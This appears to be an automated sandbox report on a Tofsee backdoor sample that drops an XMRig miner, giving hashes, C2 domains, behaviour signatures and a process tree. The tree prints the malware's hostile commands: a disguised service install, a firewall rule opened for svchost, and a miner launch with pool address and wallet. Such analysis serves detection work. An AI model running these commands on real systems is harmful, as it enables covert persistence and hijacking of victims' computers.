Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05/10/2023, 00:47

General

  • Target

    file.exe

  • Size

    202KB

  • MD5

    9388dbeb6fdf9003fbc7ca159cfda275

  • SHA1

    ff1d836222240de90ad3d75a279d9cc565869590

  • SHA256

    e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0a

  • SHA512

    98ece8a30b01c71aacd64b9e3b0d5ffe92f5a13b4a73365dabba36be4acf11f331ee424a09b05c48279a810a77e9aff05440c201072082004b68bcdba3dea4c1

  • SSDEEP

    3072:pRcFAhzF4JmYYa2Nurb9jNbpDp6JUmu5BkIs/Vr:MA/AZD3LrFmzI2V

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uhpjrnsp\
      2⤵
        PID:2444
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxehwkdn.exe" C:\Windows\SysWOW64\uhpjrnsp\
        2⤵
          PID:2792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uhpjrnsp binPath= "C:\Windows\SysWOW64\uhpjrnsp\qxehwkdn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uhpjrnsp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uhpjrnsp
          2⤵
          • Launches sc.exe
          PID:2772
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2560
      • C:\Windows\SysWOW64\uhpjrnsp\qxehwkdn.exe
        C:\Windows\SysWOW64\uhpjrnsp\qxehwkdn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2588
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:576

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\qxehwkdn.exe

              Filesize

              11.7MB

              MD5

              3e8b1f88c9af183a22dc218db86c5a91

              SHA1

              d27651cb5b4312600db47f152caa0c8b8d397d0c

              SHA256

              e9834acadc147bea83737628ed058f8ae9bc257d23dc009681dd8d0514056804

              SHA512

              02fd971bfed9ad80a721f62e645c479aae8ed384e109748c324618edb13de0468d7ef175e9137e03f3c686b8cfc7fe6b44180846fc179c6d622cc6184fda6bd3

            • C:\Windows\SysWOW64\uhpjrnsp\qxehwkdn.exe

              Filesize

              11.7MB

              MD5

              3e8b1f88c9af183a22dc218db86c5a91

              SHA1

              d27651cb5b4312600db47f152caa0c8b8d397d0c

              SHA256

              e9834acadc147bea83737628ed058f8ae9bc257d23dc009681dd8d0514056804

              SHA512

              02fd971bfed9ad80a721f62e645c479aae8ed384e109748c324618edb13de0468d7ef175e9137e03f3c686b8cfc7fe6b44180846fc179c6d622cc6184fda6bd3

            • memory/576-74-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-77-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-76-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-75-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-72-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-73-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-64-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/576-62-0x00000000002D0000-0x00000000003C1000-memory.dmp

              Filesize

              964KB

            • memory/2144-3-0x0000000000400000-0x00000000005A9000-memory.dmp

              Filesize

              1.7MB

            • memory/2144-7-0x0000000000400000-0x00000000005A9000-memory.dmp

              Filesize

              1.7MB

            • memory/2144-2-0x00000000002B0000-0x00000000002C3000-memory.dmp

              Filesize

              76KB

            • memory/2144-9-0x00000000002B0000-0x00000000002C3000-memory.dmp

              Filesize

              76KB

            • memory/2144-1-0x0000000000630000-0x0000000000730000-memory.dmp

              Filesize

              1024KB

            • memory/2588-37-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-45-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-26-0x0000000001840000-0x0000000001A4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2588-27-0x0000000000160000-0x0000000000166000-memory.dmp

              Filesize

              24KB

            • memory/2588-30-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-34-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-33-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-35-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-36-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2588-38-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-39-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-40-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-41-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-42-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-43-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-44-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-23-0x0000000001840000-0x0000000001A4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2588-46-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-47-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-48-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-49-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

            • memory/2588-50-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2588-53-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2588-54-0x0000000005950000-0x0000000005D5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2588-57-0x0000000005950000-0x0000000005D5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2588-58-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

            • memory/2588-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2588-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2588-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2588-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2588-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2976-13-0x0000000000400000-0x00000000005A9000-memory.dmp

              Filesize

              1.7MB

            • memory/2976-16-0x0000000000400000-0x00000000005A9000-memory.dmp

              Filesize

              1.7MB

            • memory/2976-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

              Filesize

              1024KB